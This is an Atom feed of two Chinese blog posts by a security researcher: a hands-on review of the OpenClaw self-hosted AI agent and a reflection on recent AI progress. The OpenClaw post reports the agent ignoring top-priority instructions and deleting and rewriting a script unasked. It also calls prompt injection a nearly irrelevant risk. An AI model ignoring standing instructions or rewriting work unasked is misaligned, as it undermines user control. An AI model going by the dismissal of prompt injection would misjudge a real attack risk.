<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>LoRexxar&#39;s Blog | 信息技术分享</title>
  <icon>https://www.gravatar.com/avatar/7b34a4388041db0dd3fd6e099e76f847</icon>
  <subtitle>我努力了无数次，我知道机会只会出现在其中一两次</subtitle>
  <link href="https://lorexxar.cn/atom.xml" rel="self"/>
  
  <link href="https://lorexxar.cn/"/>
  <updated>2026-03-11T08:51:58.094Z</updated>
  <id>https://lorexxar.cn/</id>
  
  <author>
    <name>LoRexxar</name>
    <email>LoRexxar@gmail.com</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Re0(2) - OpenClaw到底为什么爆火？</title>
    <link href="https://lorexxar.cn/2026/03/11/reai2/"/>
    <id>https://lorexxar.cn/2026/03/11/reai2/</id>
    <published>2026-03-11T08:47:17.000Z</published>
    <updated>2026-03-11T08:51:58.094Z</updated>
    
    <content type="html"><![CDATA[<p>上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。</p><p><strong>但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。</strong></p><a id="more"></a><p><font style="color:rgb(51, 51, 51);">Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，</font><strong><font style="color:rgb(51, 51, 51);">很多人把OpenClaw称为Web4.0时代的开端。</font></strong></p><p><strong>Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</strong>，最近最有名的称呼应该叫做龙虾。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111648282.png" alt=""></p><p>无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。</p><p><strong><font style="color:#ED740C;">绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。</font></strong></p><p>其实<strong>Openclaw并不是第一个依托于LLM的主动代理助手</strong>，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</p><p>如果对Claude Code比较熟悉的朋友应该知道，<strong>其实Claude Cli和OpenClaw本质上没有什么区别</strong>，换言之，从设计理念的角度，<strong><font style="color:#ED740C;">OpenClaw就是没有任何安全限定的Claude Code。</font></strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650147.png" alt=""></p><p>从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！</p><h2 id="OpenClaw的爆火真的是偶然吗？"><a href="#OpenClaw的爆火真的是偶然吗？" class="headerlink" title="OpenClaw的爆火真的是偶然吗？"></a>OpenClaw的爆火真的是偶然吗？</h2><p>OpenClaw应该是第一个，<strong>完全免费开源，并且已经进入可用阶段的托管式AI助手</strong>，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，<strong>无论是工作流、agent，还是mcp、skill</strong>，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。</p><p>这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，<strong>OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。</strong></p><p>对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。</p><h2 id="国内爆火的理由？"><a href="#国内爆火的理由？" class="headerlink" title="国内爆火的理由？"></a>国内爆火的理由？</h2><p>这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且<strong>围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手</strong>，然后你就可以“快乐”的养龙虾了。</p><p>腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650879.png" alt=""></p><p>相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如<strong>国内最早的定制化Claw之一Kimi Claw</strong>。</p><p>必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650029.png" alt=""></p><p>除此之外，最值得期待的应该是腾讯要推出的Qclaw</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650312.png" alt=""></p><p>如果亲自上手过OpenClaw，应该会明白，<strong>这东西和IM的相性是好不好用很重要的一环</strong>，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。</p><p>ps：我想用OpenClaw做个日报，一个图片他改了2天还改不好</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650413.png" alt=""></p><p>我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。</p><p>虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650109.png" alt=""></p><h2 id="抛开营销，OpenClaw有价值吗？"><a href="#抛开营销，OpenClaw有价值吗？" class="headerlink" title="抛开营销，OpenClaw有价值吗？"></a>抛开营销，OpenClaw有价值吗？</h2><p>我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。</p><p>我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。</p><ul><li><strong>什么是“养龙虾”？</strong></li></ul><p>用技术的方式，通俗易通的讲，就是通<strong>过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助</strong>手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。</p><p>这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会<strong>把部分最高指令长期培养在Claude.md</strong>，AI编程就会原来越好用，同理。</p><ul><li><strong>听起来好像很靠谱？！</strong></li></ul><p>虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，<strong><font style="color:#ED740C;">OpenClaw并不是一个成熟的项目</font></strong>。</p><p>前面说过，OpenClaw是一个个人开发的项目，开发<font style="color:rgb(51, 51, 51);">Peter还靠这个项目加入了openai</font>，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是<strong>短短几个月OpenClaw就成了超大屎山代码</strong>，不说设计上的问题，光是代码和开发上的问题就频频出问题。</p><p>有一些特别具体的例子，我分享几个。</p><ul><li><strong>开发和管理上的问题</strong></li></ul><p><strong><font style="color:#ED740C;">2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令</font></strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650654.png" alt=""></p><p>更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。</p><p><strong>最关键的是OpenClaw他自己也没有做相应的记忆</strong>，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。</p><ul><li><strong>默认的配置权限混乱</strong></li></ul><p>如果操作OpenClaw抓取图片发送给我，大概率会失败。</p><p>我花了一段时间研究修复，最后发现原因也很搞笑。</p><p>如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。</p><p><strong>没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。</strong></p><ul><li><strong>上下文过长，记忆混乱</strong></li></ul><p>其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。</p><p>我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650179.png" alt=""></p><p>这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.6的效果了。</p><p>但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650434.png" alt=""></p><p>而且我自己的感觉是，这个问题和我的实现方式关系不大，<strong>即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。</strong></p><p>甚至如果使用的时间够长，那么<strong><font style="color:#ED740C;">被我设置为最高指令的部分，他都不会遵守。</font></strong></p><p>这让我意识到一个问题，不管问题的起因在哪，<strong>OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的</strong>，这也意味着所谓的养”龙虾”其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。</p><p>ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。</p><p>对了<strong><font style="color:#ED740C;">如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。</font></strong></p><ul><li><strong>安全性？</strong></li></ul><p>随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650094.png" alt=""></p><p>虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈<strong><font style="color:#ED740C;">如果不能直接利用，我们更愿意把他称之为安全风险。</font></strong></p><p>其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，O<strong>penClaw的核心是托管，完全无人工参与</strong>，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但<strong>反过来他的风险也同样来自于自己。</strong></p><p>ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650760.png" alt=""></p><p>提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650840.png" alt=""></p><p>一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但<strong><font style="color:#ED740C;">把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了</font></strong>。</p><p>另一个算是问题比较大的，就是供<strong>应链攻击。</strong></p><p>现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。</p><p>他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650459.png" alt=""></p><p>感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650642.png" alt=""></p><h2 id="OpenClaw到底有什么用？"><a href="#OpenClaw到底有什么用？" class="headerlink" title="OpenClaw到底有什么用？"></a>OpenClaw到底有什么用？</h2><p>相比OpenClaw的缺点和问题来说，<strong><font style="color:#ED740C;">其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。</font></strong></p><p>客观来说，有更好的工具珠玉在前，<strong>OpenClaw最大的优势很难撇得开门槛低。</strong></p><p>或者说OpenClaw最大的价值就是，<strong><font style="color:#ED740C;">你可以以极低的成本操作服务器来完成任务</font></strong>，而这个任务目前来讲最好的实现逃不开爬虫。</p><p>比如说80%的人都看过的OpenClaw案例，<strong>推荐股票</strong></p><p>说白了就是，<strong>读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作</strong>（应该没人真的把自动交易交给OpenClaw吧）。</p><p>本质就是一个后台运行的爬虫，建立在OpenClaw上完成<strong>这个需求门槛极低</strong>，不需要会写代码，会阐述需求即可。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650540.png" alt=""></p><p>我自己用OpenClaw玩了一周多的时间，<strong><font style="color:#ED740C;">其中唯一一个稳定运行没出过毛病的也是爬虫</font></strong>，帮我监控nga热门帖子推送给我。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111651780.png" alt=""></p><p>主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。</p><p>这一套下来最方便的点就是，<strong>如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。</strong></p><p>当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是<strong><font style="color:#ED740C;">我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一</font></strong>。</p><p>举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，<strong>完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。</strong></p><p>ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111651709.png" alt=""></p><p>截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中</p><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。</p><ul><li><strong>OpenClaw到底有没有意义？</strong></li></ul><p>有，首先作为开源工具证明了这个理念的可行性，nb</p><ul><li><strong>OpenClaw到底是不是营销出来的？</strong></li></ul><p>是，OpenClaw原生至少现在，根本不具备被养的能力</p><ul><li><strong>OpenClaw值不值得玩一下？</strong></li></ul><p>我只能说比你想象的可能要有用一些</p><p>我们下篇再见！</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="gpt" scheme="https://lorexxar.cn/tags/gpt/"/>
    
    <category term="openclawd" scheme="https://lorexxar.cn/tags/openclawd/"/>
    
  </entry>
  
  <entry>
    <title>Re0(1) - AI变革的时代来了吗？</title>
    <link href="https://lorexxar.cn/2026/03/10/reai1/"/>
    <id>https://lorexxar.cn/2026/03/10/reai1/</id>
    <published>2026-03-10T03:52:08.000Z</published>
    <updated>2026-03-10T03:54:38.961Z</updated>
    
    <content type="html"><![CDATA[<p>许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了，最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。</p><p>今天这篇博客，没有技术，只想和大家分享分享最近的想法。</p><a id="more"></a><p>认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。<br><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153096.png" alt=""></p><p>反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。</p><p>我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容</p><ul><li><a href="https://poc.qianxin.com/" target="_blank" rel="noopener">https://poc.qianxin.com/</a></li></ul><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153153.png" alt=""></p><p>对我来说近期有一件事情影响非常之大，<strong>AI之于用户甚至之于这个时代都已经是老生常谈</strong>，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。</p><p>从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是<strong>很多时候只是大体看看怎么回事</strong>，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。</p><p>我工作中使用AI更多的场景，依旧是<strong>平时拿AI当搜索软件搜索写代码遇到的问题</strong>，再就是<strong>用trae维护另一个我自己维护的平台功能</strong>，我很少会深度的使用AI。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153539.png" alt=""></p><p>在当时心中对于AI的认知还停留在，<strong>上下文不够长，幻觉严重的问题无法解决</strong>，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153463.png" alt=""></p><p>直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，<strong>或许真的AI时代的洪流，要到来了。</strong></p><p>第一件事情就是，<strong>Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153738.png" alt=""></p><p>其实说实话，我没有很刻意的求证过该内容是不是有夸大其词的成分，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。</p><p>我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。</p><p>第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，<strong>这已经是ai agent最基础不过的应用场景了。</strong></p><p>另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，<strong>我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。</strong></p><p>但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101153785.jpeg" alt=""></p><p>第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个<strong>专门的AI和漏洞挖掘的分享会</strong>，在这个分享会上，最早开始深度投入ai的团队，已经做出了<strong>一些非常不错的漏洞挖掘工作流</strong>，还有了很多成果。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154689.png" alt=""></p><p>这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是<strong>装模做样做分析</strong>但实际上<strong>上下文根本不足以支撑正常项目</strong>，只能<strong>跑跑测试样例写论文</strong>，要不就是<strong>辅助写CodeQL的规则</strong>，实际上没有脱离工具本身。</p><p>这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，<strong>但我自以为是的傲慢让我错过了最早跟上的第一班车。</strong></p><p>在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，<strong>今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。</strong></p><p>我开始越来越意识到，我似乎正值某一个时代的风口。</p><p><strong>其实在我不短不长的职业生涯中，也接触过好几次类似的事情。</strong></p><p>我真正意义上错过的风口，其实只有一个，叫做<strong>移动互联网</strong>。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。</p><p>我第二次遇到所谓的风口，叫做<strong>区块链</strong>。</p><p>和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，<strong>最早投入区块链安全的人群之一。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154420.png" alt=""></p><p>但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，<strong>金融就是他最好的场景</strong>，于是在后续的几年里我快速的从这里抽身出来。</p><p>幸运的是我的认知是对的，<strong>炒币已经是区块链最大的意义</strong>了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。</p><p>在中间快速的跳过几年，<strong>上一次时代浪潮的风口叫做chatgpt</strong>，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154076.png" alt=""></p><p>在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，<strong>人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。</strong></p><p>2022年，<strong>chatgpt完全打破了普通用户和AI的第一扇窗</strong>，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。</p><p>在最早的版本中，ai的实用性还很差，大部分用户只能以<strong>prompt工程师的方式</strong>，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。</p><p>ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154651.png" alt=""></p><p>最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，<strong>RAG的知识库模式应该是最早唯一的实现方式。</strong></p><p>简单来说就是</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">用户提问</span><br><span class="line">   ↓</span><br><span class="line">将问题向量化（Embedding）</span><br><span class="line">   ↓</span><br><span class="line">在知识库中检索相关文档（Vector DB）</span><br><span class="line">   ↓</span><br><span class="line">将检索结果 + 原始问题拼接为 Prompt</span><br><span class="line">   ↓</span><br><span class="line">送入 LLM 生成最终回答</span><br></pre></td></tr></table></figure><p>实话讲这套方案效果非常差，试图<strong>将AI能力薄弱转嫁为数学问题</strong>，在实际体验中效果就很一般了，那<strong>最早做AI搜索的知识库，搜索引擎</strong>，效果都不算好，更多都是以营销为核心。</p><p>再往后，大概是2023年年终，<strong>以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源</strong>，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。</p><p>从GPT4开放插件之后，大模型有了第三方的输入，其中<strong>最有价值的就是联网搜索</strong>，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，<strong>这类的观念和理念促成了23年最火的AI工具cursor</strong>，自此用AI辅助编程就成了主流，被越来越多人接受和使用。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154216.png" alt=""></p><p>再往后23年末，<strong>工作流、agent的概念诞生</strong>，事实上也正是从这里开始，<strong>我低估了方法论在AI实际使用上的效果。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154383.png" alt=""></p><p>其实从23末到25年，这个期间比起方法论的发展，<strong>AI更主流的发展是大模型的能力。</strong></p><p>大家都知道的<strong>deepseek发起的算力革命</strong>，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154338.png" alt=""></p><p>也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。</p><p>现在回顾25年，可以说25年是真正的AI元年。</p><p><strong>民用情感对话方面，豆包的诞生。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154354.png" alt=""></p><p>代码相关<strong>，Claude code和codex都是25年诞生。</strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154350.png" alt=""></p><p>还有一个大家可能关注比较少的领域，<strong>AI视频生成，即梦AI 2.0也是刚刚发布</strong>，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。</p><p>但在26年，视频AI可以说是突飞猛进，<strong>过年期间我刷到过很多关于真人AI后室vlog的视频</strong>，不知道有没有人了解过，效果非常好，在年后甚至<strong>有那种效果非常好的ai短剧出现</strong>，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。</p><p>ps：我不知道我看的这个是不是最早做的，但是他用了<strong>真人演绎+AI视频做的后室vlog</strong>，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154539.png" alt=""></p><p>再往后，从26年开始，我真正意识到AI浪潮已来之后，<strong>26年的热点和浪潮一波接着一波。</strong></p><p>首先是元旦到年间的AI大战，<strong>阿里的千问，腾讯的元宝，字节的豆包</strong>，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603101154680.png" alt=""></p><p>大模型方面年后大量的新模型发布，<strong>GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0</strong>，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。</p><p><strong>ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。</strong></p><p> 🚀 邀请链接：<a href="https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH" target="_blank" 